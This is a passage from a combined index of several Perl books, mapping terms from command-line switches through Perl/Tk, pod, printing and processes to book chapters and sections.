Programming Perl, 8.1.8. Alternative Debuggers: The Perl Profiler
-D switch : Programming Perl, 6.1.2. Switches
-e switch
Programming Perl, 1.3.1. How to Do It
Programming Perl, 6.1.2. Switches
-F switch : Programming Perl, 6.1.2. Switches
-h switch : Programming Perl, 6.1.2. Switches
-i switch : Programming Perl, 6.1.2. Switches
-I switch : Programming Perl, 6.1.2. Switches
-l switch : Programming Perl, 6.1.2. Switches
-m switch : Programming Perl, 6.1.2. Switches
-M switch : Programming Perl, 6.1.2. Switches
-n switch : Programming Perl, 6.1.2. Switches
-p switch : Programming Perl, 6.1.2. Switches
-P switch : Programming Perl, 6.1.2. Switches
-s switch : Programming Perl, 6.1.2. Switches
-S switch
Programming Perl, 6.1.2. Switches
Programming Perl, 6.2.4.2. UNIX-domain clients and servers
sticky bit : Programming Perl, 8.3.1. Time Efficiency
-T switch
Programming Perl, 6.1.2. Switches
Programming Perl, 6.2.4.1. Internet TCP clients and servers
Programming Perl, 6.3.1. Handling Insecure Data
-u switch : Programming Perl, 6.1.2. Switches
-U switch : Programming Perl, 6.1.2. Switches
-v switch : Programming Perl, 6.1.2. Switches
-V switch : Programming Perl, 6.1.2. Switches
-w switch
Programming Perl, 1.3.1. How to Do It
Programming Perl, 3. Functions
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.10. diagnostics - Force Verbose Warning Diagnostics
Programming Perl, 9. Diagnostic Messages
-x switch
Programming Perl, 6.1.1. Command Processing
Programming Perl, 6.1.2. Switches
compiler
Advanced Perl Programming, 20.7. A Peek into the Future
Learning Perl on Win32 Systems, D.10.4. The Perl Compiler
Perl in a Nutshell, 3.4. The Perl Compiler
debugger
Advanced Perl Programming, 2.5. Pretty-Printing
Advanced Perl Programming, 20.1. Reading the Source
Perl in a Nutshell, 6.1. The Perl Debugger
Perl in a Nutshell, 6.2. Debugger Commands
Perl in a Nutshell, 6.4. Customizing the Debugger
documentation, resources, technical support
Advanced Perl Programming, Resources
Perl Cookbook, Other Books
Learning Perl on Win32 Systems, 1.4. Support
Perl in a Nutshell, 1.4. Perl Resources
Perl in a Nutshell, 2.5. Documentation
Perl in a Nutshell, 4.11. Pod
= to signify in programs : Perl in a Nutshell, 4.1. Program Structure
release notes : Perl Cookbook, Platform Notes
utilities for : Perl in a Nutshell, 4.11.3. Pod Utilities
embedding
Advanced Perl Programming, 19. Embedding Perl:The Easy Way
Advanced Perl Programming, 20.4.1. Calling a Perl Subroutine
Advanced Perl Programming, 20.6. Easy Embedding API
Learning Perl on Win32 Systems, D.10. Embeddible, Extensible
example scripts : Perl in a Nutshell, 2.3.1.1. Perl examples
executor : Advanced Perl Programming, 20.2.3. Executor
extensions : (see extension modules, Perl)
future of : Advanced Perl Programming, 20.7. A Peek into the Future
history of
Learning Perl, 1.1. History of Perl
Perl in a Nutshell, 1.2. Perl Development
Programming Perl, 8.2.7. Previous Perl Traps
Programming Perl, 8.7. History Made Practical
installing source code : Perl in a Nutshell, 2.3. Installing Perl
language syntax : Advanced Perl Programming, Language Syntax
obtaining
Learning Perl, 1.3. Availability
Learning Perl on Win32 Systems, 1.3.2. Standard Perl Distribution
Perl in a Nutshell, 2. Installing Perl
Programming Perl, How to Get Perl
Perl: The Motion Picture : Learning Perl, 16.2. Packing and Unpacking Binary Data
programming conventions : Perl Cookbook, Conventions Used in This Book
programs, making executable : Learning Perl, 1.4. Basic Concepts
standard library
Learning Perl, 6.2. Input from the Diamond Operator
Programming Perl, 7. The Standard Perl Library
translator : Advanced Perl Programming, 20.2.2. Translator
using C with
Advanced Perl Programming, 18. Extending Perl:A First Course
Advanced Perl Programming, 18.2. Example: Fractals with Perl
value types : Advanced Perl Programming, 20.3. Perl Value Types
for Win32 : Learning Perl on Win32 Systems, 1.3.1. ActiveState Perl for Win32
perl-bin directory : Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
PERL_DEBUG_MSTATS variable : Perl in a Nutshell, 3.3. Environment Variables
PERL_DESTRUCT_LEVEL variable : Perl in a Nutshell, 3.3. Environment Variables
<Perl> directives (Apache) : Perl in a Nutshell, 11.6. <Perl> Sections
Perl Institute : Perl in a Nutshell, 1.4.5. The Perl Institute (www.perl.org)
Perl Journal : Perl in a Nutshell, 1.4.7. The Perl Journal
PERL_MAILERS variable : Perl in a Nutshell, 14.2.1. Send Email with Mail::Mailer
PERL_MODULE_EXT variable : Perl in a Nutshell, 3.4. The Perl Compiler
Perl Package Manager (PPM) : Perl in a Nutshell, 2.4.3.2. Using the Perl Package Manager
Perl Porters : Perl in a Nutshell, 1.2. Perl Development
Perl Profiler (DProf)
Perl in a Nutshell, 6.5. The Perl Profiler
Programming Perl, 8.1.8. Alternative Debuggers: The Perl Profiler
PERL_SCRIPT_EXT variable : Perl in a Nutshell, 3.4. The Perl Compiler
perl-script handler
Perl in a Nutshell, 11.3. mod_perl Handlers
Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
$PERL_VERSION ($]) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Perl/Tk toolkit
Advanced Perl Programming, 14.2. Starting with Perl/Tk
Perl Cookbook, 15.0. Introduction
Perl in a Nutshell, 18. Perl/Tk
callbacks : Perl in a Nutshell, 18.1.3. Callbacks
colors and fonts : Perl in a Nutshell, 18.1.4. Colors and Fonts
dialog boxes : Perl Cookbook, 15.15. Creating Dialog Boxes with Tk
event bindings : Advanced Perl Programming, 14.6. Event Bindings
event loops : Advanced Perl Programming, 14.7. Event Loops
geometry managers : Perl in a Nutshell, 18.2. Geometry Managers
menus : Perl Cookbook, 15.14. Creating Menus with Tk
ptK (portable Tk) : Advanced Perl Programming, 14.1. Introduction to GUIs, Tk, and Perl/Tk
removing DOS shell window : Perl Cookbook, 15.17. Removing the DOS Shell Window with Windows Perl/Tk
resize events : Perl Cookbook, 15.16. Responding to Tk Resize Events
scrollbars : Perl in a Nutshell, 18.1.2. Scrollbars
timers : Advanced Perl Programming, 14.5. Timers
tkshufflepod program : Perl Cookbook, 15.19. Program: tkshufflepod
widgets
Advanced Perl Programming, A. Tk Widget Reference
Perl in a Nutshell, 18.1. Widgets
Button widget : Perl in a Nutshell, 18.4. The Button Widget
Canvas widget : Perl in a Nutshell, 18.12. The Canvas Widget
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
common configuration options : Perl in a Nutshell, 18.3. Common Widget Configuration Options
Entry widget : Perl in a Nutshell, 18.8. The Entry Widget
Frame widget : Perl in a Nutshell, 18.17. The Frame Widget
Label widget : Perl in a Nutshell, 18.7. The Label Widget
Listbox widget : Perl in a Nutshell, 18.10. The Listbox Widget
Menu widget : Perl in a Nutshell, 18.15. The Menu Widget
Menubutton widget : Perl in a Nutshell, 18.14. The Menubutton Widget
Optionmenu widget : Perl in a Nutshell, 18.16. The Optionmenu Widget
Radiobutton widget : Perl in a Nutshell, 18.6. The Radiobutton Widget
Scale widget : Perl in a Nutshell, 18.13. The Scale Widget
Scrollbar widget : Perl in a Nutshell, 18.9. The Scrollbar Widget
Text widget : Perl in a Nutshell, 18.11. The Text Widget
toplevel widget : Perl in a Nutshell, 18.18. The Toplevel Widget
widgets methods : Perl in a Nutshell, 18.1.1. Widget Methods
PERL5DB variable : Programming Perl, 8.1.3. Debugger Customization
PERL5LIB environment variable
Advanced Perl Programming, 6.2.1. Load Path
Perl Cookbook, 12.7. Keeping Your Own Module Directory
Perl in a Nutshell, 3.3. Environment Variables
PERL5OPT variable : Perl in a Nutshell, 3.3. Environment Variables
PERL5SHELL variable : Perl in a Nutshell, 3.3. Environment Variables
perl_alloc function : Advanced Perl Programming, 19.2. Embedding Overview
perl_call_argv function
Advanced Perl Programming, 19.2. Embedding Overview
Advanced Perl Programming, 19.3. Examples
perl_call_va function
Advanced Perl Programming, 19.2. Embedding Overview
Advanced Perl Programming, 19.3. Examples
Advanced Perl Programming, 20.6. Easy Embedding API
perl_construct function : Advanced Perl Programming, 19.2. Embedding Overview
PERL_DESTRUCT_LEVEL variable : Programming Perl, 5.3.9. A Note on Garbage Collection
perl_eval_va function
Advanced Perl Programming, 19.2. Embedding Overview
Advanced Perl Programming, 19.3. Examples
Advanced Perl Programming, 20.6. Easy Embedding API
perl_parse function
Advanced Perl Programming, 19.2. Embedding Overview
Advanced Perl Programming, 19.3. Examples
$PERL_VERSION
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
perlbug program : Perl in a Nutshell, 6.6. The perlbug Program
perlcc utility : Perl in a Nutshell, 3.4. The Perl Compiler
.perldb file
Perl in a Nutshell, 6.4. Customizing the Debugger
Programming Perl, 8.1.3. Debugger Customization
$PERLDB ($^P) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
PERLDB_OPTS variable : Perl in a Nutshell, 6.4. Customizing the Debugger
perldoc utility
Perl Cookbook, 12.16. Documenting Your Module with Pod
Learning Perl on Win32 Systems, 1.5.1. Documentation
Perl in a Nutshell, Chapter 4, Reference: perldoc
Perl in a Nutshell, 2.5.1. Installing the Documentation
Programming Perl, Perl Manpages
PerlHandler directive (mod_perl)
Perl in a Nutshell, 11.3. mod_perl Handlers
Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
PerlIIS extension : Learning Perl on Win32 Systems, 18.7.2. PerlIS and PerlScript
PerlInterpreter structure : Advanced Perl Programming, 20.2.1.1. Multiple interpreters
PerlIO object : Advanced Perl Programming, 20.2.1. Perl Objects
PerlIS : Learning Perl on Win32 Systems, 1.3.1. ActiveState Perl for Win32
PERLLIB variable : Perl in a Nutshell, 3.3. Environment Variables
perlman text viewer : Advanced Perl Programming, 16. GUI Example: Man Page Viewer
perlmenu module : Perl Cookbook, 15.12. Managing the Screen
PerlModule directive (mod_perl) : Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
PerlScript
Learning Perl on Win32 Systems, 1.3.1. ActiveState Perl for Win32
Learning Perl on Win32 Systems, 18.7.2. PerlIS and PerlScript
Perl in a Nutshell, 20. PerlScript
client-side : Perl in a Nutshell, 20.1. Client-Side PerlScript
server-side : Perl in a Nutshell, 20.2. Server-Side PerlScript
PerlSendHeader directive (mod_perl) : Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
perltoot document : Advanced Perl Programming, 4.4.3. Closures Versus Objects
permission bits, in dbmopen() : Learning Perl, 17.2. Opening and Closing DBM Hashes
permissions
Learning Perl on Win32 Systems, 1.6.16. Maintaining a Last-Good-Guess Database
Learning Perl on Win32 Systems, 13.4. Modifying Permissions
Programming Perl, 3.2.165. sysopen
Programming Perl, 3.2.179. umask
CGI programs and
Learning Perl, 19.8. Creating a Guestbook Program
Learning Perl, 19.9. Troubleshooting CGI Programs
generating all possible : Perl Cookbook, 4.19. Program: permute
modifying
Learning Perl, 13.5. Modifying Permissions
Learning Perl on Win32 Systems, 13.4. Modifying Permissions
Programming Perl, 3.2.12. chmod
permission bits, in dbmopen() : Learning Perl on Win32 Systems, 17.2. Opening and Closing DBM Hashes
testing files for trustworthiness : Perl Cookbook, 8.17. Testing a File for Trustworthiness
permute program : Perl Cookbook, 4.19. Program: permute
persistence
Advanced Perl Programming, 10. Persistence
Advanced Perl Programming, 11. Implementing Object Persistence
Adaptor project : Advanced Perl Programming, 11. Implementing Object Persistence
data structures : Perl Cookbook, 11.14. Transparently Persistent Data Structures
database data : Perl Cookbook, 14.9. Persistent Data
record-oriented : Advanced Perl Programming, 10.3. Record-Oriented Approach
streamed data : Advanced Perl Programming, 10.2. Streamed Data
subroutine variables : Perl Cookbook, 10.3. Creating Persistent Private Variables
transparent (orthogonal)
Advanced Perl Programming, 11. Implementing Object Persistence
Advanced Perl Programming, 11.2.1. Design Goals
PF_ constants : Perl Cookbook, 17.0. Introduction
.ph filename extension : Perl Cookbook, 12.14. Using h2ph to Translate C #include Files
phrase() (Mail::Address)
Perl in a Nutshell, Chapter 14, Reference: phrase
Perl in a Nutshell, 14.2.6. Parse Email Addresses with Mail::Address
pi : Programming Perl, 3.2.6. atan2
computing with : Learning Perl, A.1. Chapter 2, Scalar Data
obscure reference to : Learning Perl, 16.2. Packing and Unpacking Binary Data
Pics property (Response object) : Perl in a Nutshell, 20.2.2.2. Response properties
picture lines
Programming Perl, 2.8. Formats
Programming Perl, 3.2.41. format
pid : (see processes)
$PID ($$) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
ping() (DBI) : Perl in a Nutshell, Chapter 12, Reference: ping
Ping module : Programming Perl, 7.2.46. Net::Ping - Check Whether a Host Is Online
pingecho() : Programming Perl, 7.2.46. Net::Ping - Check Whether a Host Is Online
pinging machines : Perl Cookbook, 18.7. Pinging a Machine
pipe()
Perl in a Nutshell, Chapter 5, Reference: pipe
Programming Perl, 3.2.107. pipe
Pipe module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
pipe symbol : (see | (vertical bar))
pipe()
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 16.10. Communicating Between Related Processes
pipe# programs (examples) : Perl Cookbook, 16.10. Communicating Between Related Processes
pipes
Programming Perl, 3.2.18. close
Programming Perl, 6.2.2. Pipes
pixmaps, widgets and : Advanced Perl Programming, 14.3.1.2. Images
place geometry manager (Perl/Tk) : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
placeForget() (place geometry manager) : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
placeholders (DBI) : Perl in a Nutshell, 12.2.4. Placeholders database and statement handles
placeInfo() (place geometry manager) : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
places() : Perl Cookbook, 13.14. Overloading Operators
placeSlaves() (place geometry manager) : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
platform independence : Advanced Perl Programming, 10.1. Persistence Issues
platforms : Perl in a Nutshell, 1.3. Which Platforms Support Perl?
plotting expressions : Advanced Perl Programming, 4.2.2.1. Expression plotting
pluralities : (see arrays)
pluralizing words : Perl Cookbook, 2.18. Printing Correct Plurals
plus : (see + (plus sign))
.plx extension : Learning Perl on Win32 Systems, 1.5. Basic Concepts
.pm and .pl files
Advanced Perl Programming, 6.2. Packages and Files
Perl Cookbook, 12.0. Introduction
Perl in a Nutshell, 7.1. Namespaces and Packages
pmdesc program (example) : Perl Cookbook, 12.19. Program: Finding Versions and Descriptions of Installed Modules
=pod command (pod) : Perl in a Nutshell, Chapter 4, Reference: =pod
pod documentation
Advanced Perl Programming, 17.1. On Code Generation
Perl Cookbook, 12.16. Documenting Your Module with Pod
Learning Perl on Win32 Systems, 1.5.1. Documentation
Learning Perl on Win32 Systems, 18.1. The CGI.pm Module
Perl in a Nutshell, 2.5. Documentation
Perl in a Nutshell, 4.11. Pod
= to signify in programs : Perl in a Nutshell, 4.1. Program Structure
sorting =head1 sections : Perl Cookbook, 15.19. Program: tkshufflepod
utilities for : Perl in a Nutshell, 4.11.3. Pod Utilities
POD modules
Pod::Functions module : Perl in a Nutshell, 8.120. Pod::Functions
Pod::Html module : Perl in a Nutshell, 8.121. Pod::Html
Pod::Text module
Perl in a Nutshell, 8.122. Pod::Text
Programming Perl, 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
pod utilities
pod2fm utility : Perl in a Nutshell, Chapter 4, Reference: pod2fm
pod2html utility
Perl Cookbook, 12.16. Documenting Your Module with Pod
Perl in a Nutshell, Chapter 4, Reference: pod2html
Perl in a Nutshell, 8.121. Pod::Html
pod2latex utility : Perl in a Nutshell, Chapter 4, Reference: pod2latex
pod2man utility : Perl in a Nutshell, Chapter 4, Reference: pod2man
pod2text utility
Perl Cookbook, 12.16. Documenting Your Module with Pod
Perl in a Nutshell, Chapter 4, Reference: pod2text
Perl in a Nutshell, 8.122. Pod::Text
poetry in Perl : Programming Perl, 8.6. Perl Poetry
pointer values (PVs) : Advanced Perl Programming, 20.3.1. Scalar Values
pointers
(see references)
Learning Perl on Win32 Systems, D.10.7. Function Pointers
polymorphism
Advanced Perl Programming, 7.1. OO: An Introduction
Advanced Perl Programming, 7.2.4. The Need for Polymorphism
"poor man's garbage collection" : Advanced Perl Programming, 1.6.1. Reference Counts
pop()
Learning Perl, A.3. Chapter 4, Control Structures
Learning Perl, 3.4.3. The push and pop Functions
Learning Perl on Win32 Systems, A.3. Chapter 4, Control Structures
Learning Perl on Win32 Systems, 3.4.3. The push and pop Functions
Perl in a Nutshell, Chapter 5, Reference: pop
Programming Perl, 3.2.108. pop
circular lists : Perl Cookbook, 4.16. Implementing a Circular List
on multiple array elements : Perl Cookbook, 4.11. Processing Multiple Elements of an Array
Tie::IxHash module and : Perl Cookbook, 5.6. Retrieving from a Hash in Insertion Order
POP3 protocol, interface to
Advanced Perl Programming, 12.6.2. Net::POP3
Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
Perl in a Nutshell, 14.2.8. Reading Email with Mail::POP3Client
POP3 servers : Perl Cookbook, 18.5. Reading Mail with POP3
popen library function, emulating : Learning Perl, 14.3. Using Processes as Filehandles
popgrep# programs (examples) : Perl Cookbook, 6.10. Speeding Up Interpolated Matches
popstat() (Net::POP3) : Perl in a Nutshell, Chapter 14, Reference: popstat
POPStat() (Mail::POP3Client) : Perl in a Nutshell, Chapter 14, Reference: POPStat
popup_menu() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: popup_menu
popup menus
Learning Perl, 19.7. Other Form Elements
Learning Perl, 19.7.1. References
port()
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: port
URI::URL module : Perl in a Nutshell, Chapter 17, Reference: port
Port() (Mail::POP3Client) : Perl in a Nutshell, Chapter 14, Reference: Port
portability
Advanced Perl Programming, 10.1. Persistence Issues
Programming Perl, 8.3.5. Porter Efficiency
Porters : Perl in a Nutshell, 1.2. Perl Development
ports and port numbers
Advanced Perl Programming, 12.1. Networking Primer
Learning Perl on Win32 Systems, C. Networking Clients
connection attempts, logging : Perl Cookbook, 17.17. Program: backsniff
getting name from number : Programming Perl, 3.2.64. getservbyname
getting number from name : Programming Perl, 3.2.64. getservbyname
pos()
Perl Cookbook, 6.14. Matching from Where the Last Pattern Left Off
Perl in a Nutshell, Chapter 5, Reference: pos
Perl in a Nutshell, Chapter 17, Reference: pos
Programming Perl, 3.2.109. pos
positionfrom() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
positioning text widgets : Advanced Perl Programming, 14.3.5.1. Inserting text at absolute positions
positive lookahead assertion : Programming Perl, 2.4.1.4. Regular expression extensions
POSIX module
Perl in a Nutshell, 8.123. POSIX
Programming Perl, 7.2.49. POSIX - Perl Interface to IEEE Std 1003.1
blocking signals : Perl Cookbook, 16.20. Blocking Signals
floor() and ceil() : Perl Cookbook, 2.3. Rounding Floating-Point Numbers
setsid function : Perl Cookbook, 17.15. Making a Daemon Server
termios interface : Perl Cookbook, 15.8. Using POSIX termios
trigonometric functions : Perl Cookbook, 2.12. Calculating More Trigonometric Functions
post() (Menu widget) : Perl in a Nutshell, 18.15.2. Menu Methods
post() (Net::NNTP)
Perl in a Nutshell, Chapter 15, Reference: post
Perl in a Nutshell, 15.1. The NNTP Protocol
POST method
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.1. Writing a CGI Script
Perl Cookbook, 20.2. Automating Form Submission
Perl in a Nutshell, 9.1.1. Transferring the Form Data
Perl in a Nutshell, 17.3.1. HTTP::Request
Post Office Protocol (POP3)
Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
Perl in a Nutshell, 14.2.8. Reading Email with Mail::POP3Client
postcascade() (Menu widget) : Perl in a Nutshell, 18.15.2. Menu Methods
-postcommand option (Menu) : Perl in a Nutshell, 18.15. The Menu Widget
posting news articles
Perl Cookbook, 18.4. Reading and Posting Usenet News Messages
Perl in a Nutshell, 15.1. The NNTP Protocol
$POSTMATCH ($') variable
Perl Cookbook, 6.0. Introduction
Learning Perl, 7.4.5. Special Read-Only Variables
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.1. Regular Expression Special Variables
Programming Perl, 6.4.2.2. a2p
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Programming Perl, 8.3.1. Time Efficiency
postok() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: postok
postscript() (Canvas) : Perl in a Nutshell, 18.12.3. Canvas Methods
PostScript, converting HTML parse tree to : Perl in a Nutshell, 17.4.4. HTML::FormatPS
pound sign : (see # (hash mark))
powers of ten, examples of, with substr() : Learning Perl, 15.2. Extracting and Replacing a Substring
PPM (Perl Package Manager) : Perl in a Nutshell, 2.4.3.2. Using the Perl Package Manager
Practical Extraction and Report Language : (see perl)
pragmas
(see also use declarations)
Perl Cookbook, 12.0. Introduction
Learning Perl on Win32 Systems, B.1. Library Terminology
Programming Perl, 2.6.7. Global Declarations
Programming Perl, 2.6.9. Pragmas
Programming Perl, 3.2.185. use
Programming Perl, 5. Packages, Modules, and Object Classes
Programming Perl, 6.1.2. Switches
Programming Perl, 7. The Standard Perl Library
modules and : Programming Perl, 5.2. Modules
pre-extending arrays : Programming Perl, 8.3.1. Time Efficiency
pre-forking servers : Perl Cookbook, 17.12. Pre-Forking Servers
preallocating memory for hashes : Perl Cookbook, 5.13. Presizing a Hash
precedence
Learning Perl, 2.4.3. Operator Precedence and Associativity
Perl in a Nutshell, 4.5. Operators
Programming Perl, 3. Functions
Programming Perl, 8.2.7. Previous Perl Traps
diagnostic messages : Programming Perl, 9. Diagnostic Messages
key/value pair (hashes) : Programming Perl, 2.3.5. Hashes (Associative Arrays)
logical operators : Programming Perl, 2.5.20. Logical and, or, not, and xor
operator, table of : Programming Perl, 2.5. Operators
parentheses and
Learning Perl, 2.4.3. Operator Precedence and Associativity
Learning Perl, 7.3.4. Precedence
Learning Perl on Win32 Systems, 2.4.3. Operator Precedence and Associativity
references and : Advanced Perl Programming, 1.1.6. Confusion About Precedence
regular expression matching
Learning Perl, 7.3.4. Precedence
Learning Perl on Win32 Systems, 7.3.4. Precedence
Programming Perl, 2.4.1.2. The rules of regular expression matching
precision, controlling in output : Perl Cookbook, 13.14. Overloading Operators
predefined Perl variables
Learning Perl on Win32 Systems, D.6. Many, Many Predefined Variables
Perl in a Nutshell, 4.4. Special Variables
preforker program (example) : Perl Cookbook, 17.12. Pre-Forking Servers
$PREMATCH ($`) variable
Perl Cookbook, 6.0. Introduction
Learning Perl, 7.4.5. Special Read-Only Variables
Perl in a Nutshell, 4.4.5. Regular Expression Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.1. Regular Expression Special Variables
Programming Perl, 6.4.2.2. a2p
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Programming Perl, 8.3.1. Time Efficiency
prepare() (DBI)
Perl in a Nutshell, Chapter 12, Reference: prepare
Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
prepare statement (SQL) : Advanced Perl Programming, 10.4.1.2. Select
prepending
directories to @INC : Programming Perl, 6.1.2. Switches
elements to arrays : Programming Perl, 3.2.183. unshift
pretty-printing : Advanced Perl Programming, 2.5. Pretty-Printing
prev_labeled() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: prev_labeled_message
prev_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: prev_message
prime numbers, calculating : Perl Cookbook, 2.19. Program: Calculating Prime Factors
prime_pattern program (example) : Perl Cookbook, 6.16. Detecting Duplicate Words
print()
Perl Cookbook, 17.0. Introduction
Learning Perl, 2.8. Output with print
Learning Perl, 6.3.1. Using print for Normal Output
Learning Perl on Win32 Systems, 2.8. Output with print
Learning Perl on Win32 Systems, 6.3.1. Using print for Normal Output
Learning Perl on Win32 Systems, 17.4. Fixed-Length Random-Access Databases
Perl in a Nutshell, Chapter 5, Reference: print
Programming Perl, 3.2.110. print
Programming Perl, 8.2.3. Awk Traps
Programming Perl, 8.3.1. Time Efficiency
$_ and
Learning Perl, 4.5. The foreach Statement
Learning Perl on Win32 Systems, 4.6. The foreach Statement
array literals and : Learning Perl, 3.2. Literal Representation
examples of
Learning Perl, 1.5.1. The "Hello, World" Program
Learning Perl, 1.5.17. The Final Programs
Learning Perl on Win32 Systems, 1.6.1. The "Hello, world" Program
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
filehandle keyword and
Learning Perl, 1.5.12. Warning Someone When Things Go Astray
Learning Perl on Win32 Systems, 1.6.12. Warning Someone When Things Go Astray
return value of : Learning Perl, 6.3.1. Using print for Normal Output
Socket module : Perl in a Nutshell, 13.1.2. Client Connections
writes to same filehandle and : Learning Perl, 11.5. The Top-of-Page Format
print_header() (Mail::Internet) : Perl in a Nutshell, Chapter 14, Reference: print_header
print_line program (example) : Perl Cookbook, 8.8. Reading a Particular Line in a File
printenv command, emulating : Learning Perl, 14.1. Using system and exec
PrintError attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
printf()
Learning Perl, 6.3.2. Using printf for Formatted Output
Learning Perl on Win32 Systems, A.5. Chapter 6, Basic I/O
Perl in a Nutshell, Chapter 5, Reference: printf
Programming Perl, 3.2.111. printf
Programming Perl, 3.2.156. sprintf
Programming Perl, 8.3.1. Time Efficiency
%c format : Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
examples of
Learning Perl, A.3. Chapter 4, Control Structures
Learning Perl, A.5. Chapter 6, Basic I/O
Learning Perl, A.13. Chapter 14, Process Management
Learning Perl, 4.6. Exercises
Learning Perl on Win32 Systems, A.3. Chapter 4, Control Structures
Learning Perl on Win32 Systems, 4.7. Exercises
rounding floating-point numbers : Perl Cookbook, 2.3. Rounding Floating-Point Numbers
printing
data structures : Perl Cookbook, 11.11. Printing Data Structures
datetime information : Perl Cookbook, 3.8. Printing a Date
hashes : Perl Cookbook, 5.5. Printing a Hash
lists with commas : Perl Cookbook, 4.2. Printing a List with Commas
multidimensional arrays
Programming Perl, 4.6.3. Access and Printing
Programming Perl, 4.7.1.3. Access and printing of an array of arrays
Programming Perl, 4.7.2.3. Access and printing of a hash of arrays
Programming Perl, 4.7.3.3. Access and printing of an array of hashes
multidimensional hashes : Programming Perl, 4.7.4.3. Access and printing of a hash of hashes
nested data structures : Programming Perl, 8.1.1. Debugger Commands
simultaneously to multiple filehandles : Perl Cookbook, 7.18. Printing to Many Filehandles Simultaneously
specific lines from files : Perl Cookbook, 7.0. Introduction
priority, process : Programming Perl, 3.2.141. setpriority
privacy
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 6.4. Privacy
private
methods : Perl Cookbook, 13.0. Introduction
variables
(see local, variables)
Perl Cookbook, 10.2. Making Variables Private to a Function
Perl Cookbook, 12.4. Making Variables Private to a Module
Perl in a Nutshell, 4.2.6. Declarations and Scope
Perl in a Nutshell, 4.7.4. Private and Local Variables
procedures
(see subroutines)
Programming Perl, 1.2.2. Verbs
process IDs (pids)
Programming Perl, 3.2.55. getpgrp
Programming Perl, 3.2.102. open
Programming Perl, 3.2.140. setpgrp
returning
Programming Perl, 3.2.40. fork
Programming Perl, 3.2.56. getppid
Process module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 14.5. Win32::Process
$PROCESS_ID ($$) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
processes : Perl Cookbook, 16.0. Introduction
catching Ctrl-C : Perl Cookbook, 16.18. Catching Ctrl-C
communicating between : Perl Cookbook, 16.10. Communicating Between Related Processes
controlling program input/output : Perl Cookbook, 16.8. Controlling Input and Output of Another Program
creating
Perl Cookbook, 16.0. Introduction
Learning Perl, 14.1. Using system and exec
error handling permission for : Programming Perl, 7.2.40. IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
exit values
Learning Perl, 14.4. Using fork
Learning Perl on Win32 Systems, 14.3. Using Processes as Filehandles
filehandles as : Learning Perl, 14.3. Using Processes as Filehandles
filtering output : Perl Cookbook, 16.5. Filtering Your Own Output
fork function : Programming Perl, 3.2.40. fork
gathering program output : Perl Cookbook, 16.1. Gathering Output from a Program
getting group for : Programming Perl, 3.2.140. setpgrp
groups
Perl Cookbook, 7.22. Program: lockarea
Perl Cookbook, 16.14. Sending a Signal
imitating files with named pipes : Perl Cookbook, 16.11. Making a Process Look Like a File with Named Pipes
interprocess communication (IPC) : Programming Perl, 6.2. Cooperating with Other Processes
killing : Programming Perl, 3.2.80. kill
launching
Learning Perl, 14.5. Summary of Process Operations
Learning Perl on Win32 Systems, 14.4. Summary of Process Operations
managing : Perl in a Nutshell, 19.12. Win32::Process
named pipes : Programming Perl, 6.2.2.4. Named pipes
opening for writing with filehandle : Learning Perl, 14.3. Using Processes as Filehandles
preprocessing input : Perl Cookbook, 16.6. Preprocessing Input
priority, setting : Programming Perl, 3.2.141. setpriority
read/write permission for : Programming Perl, 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
reading from/writing to programs : Perl Cookbook, 16.4. Reading or Writing to Another Program
reading STDERR from programs : Perl Cookbook, 16.7. Reading STDERR from a Program
replacing programs : Perl Cookbook, 16.3. Replacing the Current Program with a Different One
returning priority of : Programming Perl, 3.2.57. getpriority
running multiple programs : Perl Cookbook, 16.2. Running Another Program
sharing variables among : Perl Cookbook, 16.12. Sharing Variables in Different Processes
signals
Perl Cookbook, 16.0. Introduction
Perl Cookbook, 16.13. Listing Available Signals
